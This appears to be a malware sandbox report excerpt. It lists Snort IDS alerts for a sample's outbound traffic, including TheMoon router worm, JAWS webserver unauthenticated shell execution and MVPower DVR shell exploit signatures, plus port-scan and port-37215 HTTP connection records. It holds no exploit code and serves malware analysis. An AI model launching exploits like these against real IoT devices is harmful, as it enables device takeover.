Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:39436 -> 172.65.69.145:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:56874 -> 172.65.21.154:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:36684 -> 172.67.219.233:8080
Source: Traffic	Snort IDS: 1200 ATTACK-RESPONSES Invalid URL 23.1.55.58:80 -> 192.168.2.20:34744
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:59922 -> 172.86.0.239:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:34844 -> 52.203.126.94:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:44204 -> 156.250.85.58:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33904 -> 197.26.45.253:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:46630 -> 148.255.0.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:46630 -> 148.255.0.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58840 -> 40.71.43.110:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:50638 -> 141.95.105.181:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:50638 -> 141.95.105.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:37346 -> 23.230.85.236:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58358 -> 52.42.90.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:33856 -> 45.199.100.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:35826 -> 168.78.32.74:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:58358 -> 52.42.90.129:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:33856 -> 45.199.100.113:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:59250 -> 41.57.83.251:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:42312 -> 180.168.194.235:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:35826 -> 168.78.32.74:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:58184 -> 52.214.13.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54674 -> 68.170.141.196:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:54678 -> 202.39.62.53:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:59250 -> 41.57.83.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.20:42312 -> 180.168.194.235:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:38788 -> 172.67.223.213:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:50296 -> 172.67.239.109:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.20:42980 -> 172.67.241.138:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.20:53370 -> 190.128.24.220:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.249.12.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.248.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.174.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.89.77 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 53850
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44760 -> 37215
